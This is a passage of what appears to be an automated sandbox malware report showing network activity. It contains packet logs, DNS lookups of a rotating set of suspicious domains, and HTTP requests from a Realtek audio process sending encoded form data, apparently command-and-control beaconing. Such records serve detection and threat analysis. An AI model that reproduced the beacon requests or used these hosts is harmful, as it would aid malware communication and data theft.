Dec 3, 2024 14:56:32.490618944 CET	80	49839	8.136.96.106	192.168.11.20
Dec 3, 2024 14:56:32.490664959 CET	80	49839	8.136.96.106	192.168.11.20
Dec 3, 2024 14:56:32.490782976 CET	49839	80	192.168.11.20	8.136.96.106
Dec 3, 2024 14:56:33.634123087 CET	49839	80	192.168.11.20	8.136.96.106
Dec 3, 2024 14:56:34.650419950 CET	49840	80	192.168.11.20	8.136.96.106
Dec 3, 2024 14:56:34.986947060 CET	80	49840	8.136.96.106	192.168.11.20
Dec 3, 2024 14:56:34.987188101 CET	49840	80	192.168.11.20	8.136.96.106
Dec 3, 2024 14:56:34.989713907 CET	49840	80	192.168.11.20	8.136.96.106
Dec 3, 2024 14:56:35.326009035 CET	80	49840	8.136.96.106	192.168.11.20
Dec 3, 2024 14:56:35.326266050 CET	80	49840	8.136.96.106	192.168.11.20
Dec 3, 2024 14:56:35.326313019 CET	80	49840	8.136.96.106	192.168.11.20
Dec 3, 2024 14:56:35.326607943 CET	49840	80	192.168.11.20	8.136.96.106
Dec 3, 2024 14:56:35.327233076 CET	49840	80	192.168.11.20	8.136.96.106
Dec 3, 2024 14:56:36.164278030 CET	49840	80	192.168.11.20	8.136.96.106
Dec 3, 2024 14:56:36.502953053 CET	80	49840	8.136.96.106	192.168.11.20
Dec 3, 2024 14:56:40.336764097 CET	49841	80	192.168.11.20	38.47.233.4
Dec 3, 2024 14:56:40.656936884 CET	80	49841	38.47.233.4	192.168.11.20
Dec 3, 2024 14:56:40.657093048 CET	49841	80	192.168.11.20	38.47.233.4
Dec 3, 2024 14:56:40.660944939 CET	49841	80	192.168.11.20	38.47.233.4
Dec 3, 2024 14:56:40.981147051 CET	80	49841	38.47.233.4	192.168.11.20
Dec 3, 2024 14:56:40.981194019 CET	80	49841	38.47.233.4	192.168.11.20
Dec 3, 2024 14:56:40.981225014 CET	80	49841	38.47.233.4	192.168.11.20
Dec 3, 2024 14:56:40.981354952 CET	49841	80	192.168.11.20	38.47.233.4
Dec 3, 2024 14:56:42.163522005 CET	49841	80	192.168.11.20	38.47.233.4
Dec 3, 2024 14:56:43.180058956 CET	49842	80	192.168.11.20	38.47.233.4
Dec 3, 2024 14:56:43.498960972 CET	80	49842	38.47.233.4	192.168.11.20
Dec 3, 2024 14:56:43.499139071 CET	49842	80	192.168.11.20	38.47.233.4
Dec 3, 2024 14:56:43.502299070 CET	49842	80	192.168.11.20	38.47.233.4
Dec 3, 2024 14:56:43.821250916 CET	80	49842	38.47.233.4	192.168.11.20
Dec 3, 2024 14:56:43.821299076 CET	80	49842	38.47.233.4	192.168.11.20
Dec 3, 2024 14:56:43.821482897 CET	80	49842	38.47.233.4	192.168.11.20
Dec 3, 2024 14:56:43.821641922 CET	49842	80	192.168.11.20	38.47.233.4
Dec 3, 2024 14:56:45.006707907 CET	49842	80	192.168.11.20	38.47.233.4
Dec 3, 2024 14:56:46.023292065 CET	49843	80	192.168.11.20	38.47.233.4
Dec 3, 2024 14:56:46.342772007 CET	80	49843	38.47.233.4	192.168.11.20
Dec 3, 2024 14:56:46.342953920 CET	49843	80	192.168.11.20	38.47.233.4
Dec 3, 2024 14:56:46.346246958 CET	49843	80	192.168.11.20	38.47.233.4
Dec 3, 2024 14:56:46.346308947 CET	49843	80	192.168.11.20	38.47.233.4
Dec 3, 2024 14:56:46.665939093 CET	80	49843	38.47.233.4	192.168.11.20
Dec 3, 2024 14:56:46.666198969 CET	80	49843	38.47.233.4	192.168.11.20
Dec 3, 2024 14:56:46.666241884 CET	80	49843	38.47.233.4	192.168.11.20
Dec 3, 2024 14:56:46.666378021 CET	80	49843	38.47.233.4	192.168.11.20
Dec 3, 2024 14:56:46.666630983 CET	80	49843	38.47.233.4	192.168.11.20
Dec 3, 2024 14:56:46.666673899 CET	80	49843	38.47.233.4	192.168.11.20
Dec 3, 2024 14:56:46.666769028 CET	49843	80	192.168.11.20	38.47.233.4
Dec 3, 2024 14:56:47.849757910 CET	49843	80	192.168.11.20	38.47.233.4
Dec 3, 2024 14:56:48.866260052 CET	49844	80	192.168.11.20	38.47.233.4
Dec 3, 2024 14:56:49.185872078 CET	80	49844	38.47.233.4	192.168.11.20
Dec 3, 2024 14:56:49.186065912 CET	49844	80	192.168.11.20	38.47.233.4
Dec 3, 2024 14:56:49.188229084 CET	49844	80	192.168.11.20	38.47.233.4
Dec 3, 2024 14:56:49.507728100 CET	80	49844	38.47.233.4	192.168.11.20
Dec 3, 2024 14:56:49.507761955 CET	80	49844	38.47.233.4	192.168.11.20
Dec 3, 2024 14:56:49.507767916 CET	80	49844	38.47.233.4	192.168.11.20
Dec 3, 2024 14:56:49.508112907 CET	49844	80	192.168.11.20	38.47.233.4
Dec 3, 2024 14:56:49.508713007 CET	49844	80	192.168.11.20	38.47.233.4
Dec 3, 2024 14:56:49.827971935 CET	80	49844	38.47.233.4	192.168.11.20
Dec 3, 2024 14:56:54.521116018 CET	49845	80	192.168.11.20	103.224.182.242
Dec 3, 2024 14:56:54.689189911 CET	80	49845	103.224.182.242	192.168.11.20
Dec 3, 2024 14:56:54.689363956 CET	49845	80	192.168.11.20	103.224.182.242
Dec 3, 2024 14:56:54.692557096 CET	49845	80	192.168.11.20	103.224.182.242
Dec 3, 2024 14:56:54.891254902 CET	80	49845	103.224.182.242	192.168.11.20
Dec 3, 2024 14:56:54.891293049 CET	80	49845	103.224.182.242	192.168.11.20
Dec 3, 2024 14:56:54.891535044 CET	49845	80	192.168.11.20	103.224.182.242
Dec 3, 2024 14:56:56.207379103 CET	49845	80	192.168.11.20	103.224.182.242
Dec 3, 2024 14:56:57.223460913 CET	49846	80	192.168.11.20	103.224.182.242
Dec 3, 2024 14:56:57.391311884 CET	80	49846	103.224.182.242	192.168.11.20
Dec 3, 2024 14:56:57.391480923 CET	49846	80	192.168.11.20	103.224.182.242
Dec 3, 2024 14:56:57.395035982 CET	49846	80	192.168.11.20	103.224.182.242
Dec 3, 2024 14:56:57.592434883 CET	80	49846	103.224.182.242	192.168.11.20
Dec 3, 2024 14:56:57.592483044 CET	80	49846	103.224.182.242	192.168.11.20
Dec 3, 2024 14:56:57.592624903 CET	49846	80	192.168.11.20	103.224.182.242
Dec 3, 2024 14:56:58.909833908 CET	49846	80	192.168.11.20	103.224.182.242
Dec 3, 2024 14:56:59.925992966 CET	49847	80	192.168.11.20	103.224.182.242
Dec 3, 2024 14:57:00.094000101 CET	80	49847	103.224.182.242	192.168.11.20
Dec 3, 2024 14:57:00.094227076 CET	49847	80	192.168.11.20	103.224.182.242
Dec 3, 2024 14:57:00.097472906 CET	49847	80	192.168.11.20	103.224.182.242
Dec 3, 2024 14:57:00.097537041 CET	49847	80	192.168.11.20	103.224.182.242
Dec 3, 2024 14:57:00.097579002 CET	49847	80	192.168.11.20	103.224.182.242
Dec 3, 2024 14:57:00.273761034 CET	80	49847	103.224.182.242	192.168.11.20
Dec 3, 2024 14:57:00.284235001 CET	80	49847	103.224.182.242	192.168.11.20
Dec 3, 2024 14:57:00.284281015 CET	80	49847	103.224.182.242	192.168.11.20
Dec 3, 2024 14:57:00.284482002 CET	49847	80	192.168.11.20	103.224.182.242
Dec 3, 2024 14:57:01.612488985 CET	49847	80	192.168.11.20	103.224.182.242
Dec 3, 2024 14:57:02.628448963 CET	49848	80	192.168.11.20	103.224.182.242
Dec 3, 2024 14:57:02.796622992 CET	80	49848	103.224.182.242	192.168.11.20
Dec 3, 2024 14:57:02.796772003 CET	49848	80	192.168.11.20	103.224.182.242
Dec 3, 2024 14:57:02.798958063 CET	49848	80	192.168.11.20	103.224.182.242
Dec 3, 2024 14:57:02.993597984 CET	80	49848	103.224.182.242	192.168.11.20
Dec 3, 2024 14:57:02.993669033 CET	80	49848	103.224.182.242	192.168.11.20
Dec 3, 2024 14:57:02.993702888 CET	80	49848	103.224.182.242	192.168.11.20
Dec 3, 2024 14:57:02.993916035 CET	49848	80	192.168.11.20	103.224.182.242
Dec 3, 2024 14:57:02.994559050 CET	49848	80	192.168.11.20	103.224.182.242
Dec 3, 2024 14:57:03.162591934 CET	80	49848	103.224.182.242	192.168.11.20

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 3, 2024 14:51:28.802572966 CET	58533	53	192.168.11.20	1.1.1.1
Dec 3, 2024 14:51:28.924959898 CET	53	58533	1.1.1.1	192.168.11.20
Dec 3, 2024 14:51:44.635790110 CET	58582	53	192.168.11.20	1.1.1.1
Dec 3, 2024 14:51:44.842542887 CET	53	58582	1.1.1.1	192.168.11.20
Dec 3, 2024 14:51:58.382852077 CET	55317	53	192.168.11.20	1.1.1.1
Dec 3, 2024 14:51:58.521397114 CET	53	55317	1.1.1.1	192.168.11.20
Dec 3, 2024 14:52:12.161015987 CET	54375	53	192.168.11.20	1.1.1.1
Dec 3, 2024 14:52:12.279875040 CET	53	54375	1.1.1.1	192.168.11.20
Dec 3, 2024 14:52:25.736339092 CET	51832	53	192.168.11.20	1.1.1.1
Dec 3, 2024 14:52:25.976707935 CET	53	51832	1.1.1.1	192.168.11.20
Dec 3, 2024 14:52:40.451524973 CET	58998	53	192.168.11.20	1.1.1.1
Dec 3, 2024 14:52:40.563632965 CET	53	58998	1.1.1.1	192.168.11.20
Dec 3, 2024 14:52:54.135973930 CET	55938	53	192.168.11.20	1.1.1.1
Dec 3, 2024 14:52:55.150578022 CET	55938	53	192.168.11.20	9.9.9.9
Dec 3, 2024 14:52:55.503623009 CET	53	55938	9.9.9.9	192.168.11.20
Dec 3, 2024 14:52:55.808995008 CET	53	55938	1.1.1.1	192.168.11.20
Dec 3, 2024 14:53:09.851281881 CET	52565	53	192.168.11.20	9.9.9.9
Dec 3, 2024 14:53:09.968863010 CET	53	52565	9.9.9.9	192.168.11.20
Dec 3, 2024 14:53:24.160645008 CET	58062	53	192.168.11.20	9.9.9.9
Dec 3, 2024 14:53:24.337733984 CET	53	58062	9.9.9.9	192.168.11.20
Dec 3, 2024 14:53:37.813925982 CET	56161	53	192.168.11.20	9.9.9.9
Dec 3, 2024 14:53:37.922704935 CET	53	56161	9.9.9.9	192.168.11.20
Dec 3, 2024 14:53:45.983978987 CET	51242	53	192.168.11.20	9.9.9.9
Dec 3, 2024 14:53:46.117522955 CET	53	51242	9.9.9.9	192.168.11.20
Dec 3, 2024 14:53:59.371551991 CET	63956	53	192.168.11.20	9.9.9.9
Dec 3, 2024 14:53:59.488898993 CET	53	63956	9.9.9.9	192.168.11.20
Dec 3, 2024 14:54:12.884244919 CET	62343	53	192.168.11.20	9.9.9.9
Dec 3, 2024 14:54:13.001126051 CET	53	62343	9.9.9.9	192.168.11.20
Dec 3, 2024 14:54:26.147017002 CET	51990	53	192.168.11.20	9.9.9.9
Dec 3, 2024 14:54:26.294316053 CET	53	51990	9.9.9.9	192.168.11.20
Dec 3, 2024 14:54:39.644059896 CET	60911	53	192.168.11.20	9.9.9.9
Dec 3, 2024 14:54:39.920598030 CET	53	60911	9.9.9.9	192.168.11.20
Dec 3, 2024 14:54:53.469088078 CET	49160	53	192.168.11.20	9.9.9.9
Dec 3, 2024 14:54:54.073628902 CET	53	49160	9.9.9.9	192.168.11.20

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 3, 2024 14:51:28.802572966 CET	192.168.11.20	1.1.1.1	0x2d96	Standard query (0)	www.88rtp.biz	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:51:44.635790110 CET	192.168.11.20	1.1.1.1	0xb1a1	Standard query (0)	www.kubex.dev	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:51:58.382852077 CET	192.168.11.20	1.1.1.1	0x6e0a	Standard query (0)	www.sido247.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:52:12.161015987 CET	192.168.11.20	1.1.1.1	0xd27b	Standard query (0)	www.glowups.life	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:52:25.736339092 CET	192.168.11.20	1.1.1.1	0x6ade	Standard query (0)	www.epicurecooks.world	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:52:40.451524973 CET	192.168.11.20	1.1.1.1	0x4298	Standard query (0)	www.eichner.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:52:54.135973930 CET	192.168.11.20	1.1.1.1	0x1a97	Standard query (0)	www.juewucangku.xyz	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:52:55.150578022 CET	192.168.11.20	9.9.9.9	0x1a97	Standard query (0)	www.juewucangku.xyz	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:53:09.851281881 CET	192.168.11.20	9.9.9.9	0xe4c8	Standard query (0)	www.nng83.top	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:53:24.160645008 CET	192.168.11.20	9.9.9.9	0x7ef9	Standard query (0)	www.brickhills.site	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:53:37.813925982 CET	192.168.11.20	9.9.9.9	0xf4d1	Standard query (0)	www.foggvdqutxzgea.xyz	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:53:45.983978987 CET	192.168.11.20	9.9.9.9	0xc6e2	Standard query (0)	www.goldbracelet.top	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:53:59.371551991 CET	192.168.11.20	9.9.9.9	0xcd8e	Standard query (0)	www.0be.info	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:54:12.884244919 CET	192.168.11.20	9.9.9.9	0x7114	Standard query (0)	www.smartgov.shop	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:54:26.147017002 CET	192.168.11.20	9.9.9.9	0x163e	Standard query (0)	www.hayaniya.org	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:54:39.644059896 CET	192.168.11.20	9.9.9.9	0xeeee	Standard query (0)	www.dialogpriest.online	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:54:53.469088078 CET	192.168.11.20	9.9.9.9	0xc451	Standard query (0)	www.224466.top	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 3, 2024 14:51:28.924959898 CET	1.1.1.1	192.168.11.20	0x2d96	No error (0)	www.88rtp.biz	88rtp.biz		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 14:51:28.924959898 CET	1.1.1.1	192.168.11.20	0x2d96	No error (0)	88rtp.biz		172.96.191.39	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:51:44.842542887 CET	1.1.1.1	192.168.11.20	0xb1a1	No error (0)	www.kubex.dev		217.160.0.183	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:51:58.521397114 CET	1.1.1.1	192.168.11.20	0x6e0a	No error (0)	www.sido247.pro	sido247.pro		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 14:51:58.521397114 CET	1.1.1.1	192.168.11.20	0x6e0a	No error (0)	sido247.pro		84.32.84.32	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:52:12.279875040 CET	1.1.1.1	192.168.11.20	0xd27b	No error (0)	www.glowups.life		209.74.79.42	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:52:25.976707935 CET	1.1.1.1	192.168.11.20	0x6ade	No error (0)	www.epicurecooks.world		208.91.197.27	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:52:40.563632965 CET	1.1.1.1	192.168.11.20	0x4298	No error (0)	www.eichner.pro		89.31.143.90	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:52:55.503623009 CET	9.9.9.9	192.168.11.20	0x1a97	No error (0)	www.juewucangku.xyz		8.136.96.106	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:52:55.808995008 CET	1.1.1.1	192.168.11.20	0x1a97	No error (0)	www.juewucangku.xyz		8.136.96.106	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:53:09.968863010 CET	9.9.9.9	192.168.11.20	0xe4c8	No error (0)	www.nng83.top	nng83.top		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 14:53:09.968863010 CET	9.9.9.9	192.168.11.20	0xe4c8	No error (0)	nng83.top		38.47.233.4	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:53:24.337733984 CET	9.9.9.9	192.168.11.20	0x7ef9	No error (0)	www.brickhills.site		103.224.182.242	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:53:37.922704935 CET	9.9.9.9	192.168.11.20	0xf4d1	Name error (3)	www.foggvdqutxzgea.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:53:46.117522955 CET	9.9.9.9	192.168.11.20	0xc6e2	No error (0)	www.goldbracelet.top		172.67.201.49	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:53:46.117522955 CET	9.9.9.9	192.168.11.20	0xc6e2	No error (0)	www.goldbracelet.top		104.21.36.239	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:53:59.488898993 CET	9.9.9.9	192.168.11.20	0xcd8e	No error (0)	www.0be.info	0be.info		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 14:53:59.488898993 CET	9.9.9.9	192.168.11.20	0xcd8e	No error (0)	0be.info		173.0.157.187	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:54:13.001126051 CET	9.9.9.9	192.168.11.20	0x7114	No error (0)	www.smartgov.shop		13.248.169.48	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:54:13.001126051 CET	9.9.9.9	192.168.11.20	0x7114	No error (0)	www.smartgov.shop		76.223.54.146	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:54:26.294316053 CET	9.9.9.9	192.168.11.20	0x163e	No error (0)	www.hayaniya.org	hayaniya.org		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 14:54:26.294316053 CET	9.9.9.9	192.168.11.20	0x163e	No error (0)	hayaniya.org		192.185.147.100	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:54:39.920598030 CET	9.9.9.9	192.168.11.20	0xeeee	No error (0)	www.dialogpriest.online		176.31.209.107	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:54:54.073628902 CET	9.9.9.9	192.168.11.20	0xc451	No error (0)	www.224466.top		45.197.47.177	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.88rtp.biz

www.kubex.dev

www.sido247.pro

www.glowups.life

www.epicurecooks.world

www.eichner.pro

www.juewucangku.xyz

www.nng83.top

www.brickhills.site

www.goldbracelet.top

www.0be.info

www.smartgov.shop

www.hayaniya.org

www.dialogpriest.online

www.224466.top

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.20	49759	172.96.191.39	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:51:29.266508102 CET	416	OUT	GET /oz0e/?pluxVm=N0iBPOr2h1wf3hrk0fV7bCYuQaQcnemlKlX+67l0LxDwIz/NET6JyzgCPnJBSBJZztg4pX1Iwr0Nd76JZuhGak0dZt9NjSAeSo6fySf0UlwbimsbHDdeRZs=&Z1EO=OvfHeluUy HTTP/1.1 Host: www.88rtp.biz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0
Dec 3, 2024 14:51:29.602164030 CET	1033	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Tue, 03 Dec 2024 13:51:29 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.11.20	49760	217.160.0.183	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:51:45.033953905 CET	671	OUT	POST /o5mm/ HTTP/1.1 Host: www.kubex.dev Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.kubex.dev Referer: http://www.kubex.dev/o5mm/ Content-Length: 203 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 30 30 78 36 4e 63 31 4f 48 63 67 48 52 39 45 73 36 49 49 47 6e 30 6e 72 57 5a 4a 74 70 33 42 62 37 58 6b 69 62 64 39 5a 68 79 64 47 6b 79 66 71 51 69 53 6b 73 67 4e 4f 69 41 6b 77 31 58 53 54 2f 42 41 49 34 49 42 67 4e 31 49 58 34 70 52 51 34 38 74 6a 46 62 6a 30 57 4d 6c 2f 59 64 2b 6e 30 48 72 32 77 6b 45 34 70 35 48 2f 47 45 50 67 4d 69 6b 74 62 4c 63 56 46 54 4b 6e 4b 6b 6b 74 61 76 72 65 64 71 4a 74 43 44 39 47 6d 59 4d 7a 57 73 74 65 5a 36 47 39 67 37 2b 47 2f 4e 6d 74 33 54 65 64 46 79 66 74 54 57 4e 30 42 56 2f 51 58 6e 57 6b 4b 71 6c 30 4f 59 54 50 6b 53 6d 4f 45 67 3d 3d Data Ascii: pluxVm=00x6Nc1OHcgHR9Es6IIGn0nrWZJtp3Bb7Xkibd9ZhydGkyfqQiSksgNOiAkw1XST/BAI4IBgN1IX4pRQ48tjFbj0WMl/Yd+n0Hr2wkE4p5H/GEPgMiktbLcVFTKnKkktavredqJtCD9GmYMzWsteZ6G9g7+G/Nmt3TedFyftTWN0BV/QXnWkKql0OYTPkSmOEg==
Dec 3, 2024 14:51:45.238734961 CET	558	IN	HTTP/1.1 404 Not Found Content-Type: text/html Transfer-Encoding: chunked Connection: close Date: Tue, 03 Dec 2024 13:51:45 GMT Server: Apache Content-Encoding: gzip Data Raw: 31 37 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 51 4b 4f c3 30 0c be ef 57 98 70 4e b3 32 0e 5b d7 ee c0 36 09 a4 f1 10 14 01 c7 d0 ba 6b 44 9a 94 d4 a3 1b bf 9e b4 e3 2d c4 c9 4e f4 3d ec cf f1 c1 e2 72 9e 3e 5c 2d a1 a4 4a c3 d5 ed c9 ea 6c 0e 8c 0b 71 37 9a 0b b1 48 17 70 7f 9a 9e af 20 0c 86 90 3a 69 1a 45 ca 1a a9 85 58 5e b0 01 2b 89 ea 48 88 b6 6d 83 76 14 58 b7 16 e9 b5 d8 76 5a 61 47 7e 6f 39 7d 63 06 39 e5 6c 36 88 7b 43 2d cd 3a 61 68 18 6c 2b 1d fd 78 99 26 f9 43 3e 9c 4c 26 7b 55 af 01 71 89 32 f7 15 62 52 a4 b1 eb 60 e9 9c 75 70 3c 3c 06 0e 17 96 a0 b0 1b 93 77 10 f1 89 89 2b 24 09 99 35 84 86 12 46 b8 25 d1 8d 33 85 ac 94 ae 41 4a 36 54 f0 31 f3 a1 50 cd f1 79 a3 5e 12 36 df c3 79 ba ab b1 f3 86 5f 2a c6 f2 4c 66 25 fe 64 f5 5f bc b3 72 56 f7 23 8b f7 99 e3 47 9b ef a0 a1 9d c6 84 15 1e c0 0b 59 29 bd 8b a4 53 52 4f f7 16 65 f8 81 c8 ac b6 2e 3a 1c ca d1 d1 38 9b f6 f8 46 bd 62 e4 0f 83 d5 1e fd cf ea 65 d8 4f 5c 7f a8 7d f1 87 c1 f8 93 bf 50 08 fe 20 b8 c6 47 34 08 37 a8 08 e1 c9 1a [TRUNCATED] Data Ascii: 173}QKO0WpN2[6kD-N=r>\-Jlq7Hp :iEX^+HmvXvZaG~o9}c9l6{C-:ahl+x&C>L&{Uq2bR`up<<w+$5F%3AJ6T1Py^6y_*Lf%d_rV#GY)SROe.:8FbeO\}P G47k,\|hEKZ{XtAo[Y0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.11.20	49761	217.160.0.183	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:51:47.747675896 CET	691	OUT	POST /o5mm/ HTTP/1.1 Host: www.kubex.dev Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.kubex.dev Referer: http://www.kubex.dev/o5mm/ Content-Length: 223 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 30 30 78 36 4e 63 31 4f 48 63 67 48 58 63 55 73 32 4c 51 47 33 6b 6e 71 4b 70 4a 74 2b 6e 42 66 37 58 59 69 62 63 35 7a 68 48 74 47 6b 54 76 71 57 54 53 6b 6c 77 4e 4f 73 67 6b 31 37 33 53 59 2f 42 38 2b 34 4a 39 67 4e 31 4d 58 34 6f 68 51 34 50 56 67 45 4c 6a 32 4f 38 6c 78 46 4e 2b 6e 30 48 72 32 77 6b 51 53 70 35 76 2f 47 56 66 67 50 44 6b 73 46 37 63 4b 55 54 4b 6e 62 55 6b 70 61 76 72 67 64 76 70 44 43 47 68 47 6d 5a 38 7a 57 34 5a 64 51 36 48 30 2f 72 2f 35 35 50 57 6c 78 79 4b 67 44 41 72 52 4b 48 42 75 4e 6a 79 4b 4b 56 69 41 4a 35 35 47 4b 6f 71 6e 6d 51 6e 56 5a 70 63 39 42 35 6c 2f 5a 6b 76 65 71 44 6d 30 57 69 76 50 2b 70 34 3d Data Ascii: pluxVm=00x6Nc1OHcgHXcUs2LQG3knqKpJt+nBf7XYibc5zhHtGkTvqWTSklwNOsgk173SY/B8+4J9gN1MX4ohQ4PVgELj2O8lxFN+n0Hr2wkQSp5v/GVfgPDksF7cKUTKnbUkpavrgdvpDCGhGmZ8zW4ZdQ6H0/r/55PWlxyKgDArRKHBuNjyKKViAJ55GKoqnmQnVZpc9B5l/ZkveqDm0WivP+p4=
Dec 3, 2024 14:51:47.973843098 CET	558	IN	HTTP/1.1 404 Not Found Content-Type: text/html Transfer-Encoding: chunked Connection: close Date: Tue, 03 Dec 2024 13:51:47 GMT Server: Apache Content-Encoding: gzip Data Raw: 31 37 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 51 4b 4f c3 30 0c be ef 57 98 70 4e b3 32 0e 5b d7 ee c0 36 09 a4 f1 10 14 01 c7 d0 ba 6b 44 9a 94 d4 a3 1b bf 9e b4 e3 2d c4 c9 4e f4 3d ec cf f1 c1 e2 72 9e 3e 5c 2d a1 a4 4a c3 d5 ed c9 ea 6c 0e 8c 0b 71 37 9a 0b b1 48 17 70 7f 9a 9e af 20 0c 86 90 3a 69 1a 45 ca 1a a9 85 58 5e b0 01 2b 89 ea 48 88 b6 6d 83 76 14 58 b7 16 e9 b5 d8 76 5a 61 47 7e 6f 39 7d 63 06 39 e5 6c 36 88 7b 43 2d cd 3a 61 68 18 6c 2b 1d fd 78 99 26 f9 43 3e 9c 4c 26 7b 55 af 01 71 89 32 f7 15 62 52 a4 b1 eb 60 e9 9c 75 70 3c 3c 06 0e 17 96 a0 b0 1b 93 77 10 f1 89 89 2b 24 09 99 35 84 86 12 46 b8 25 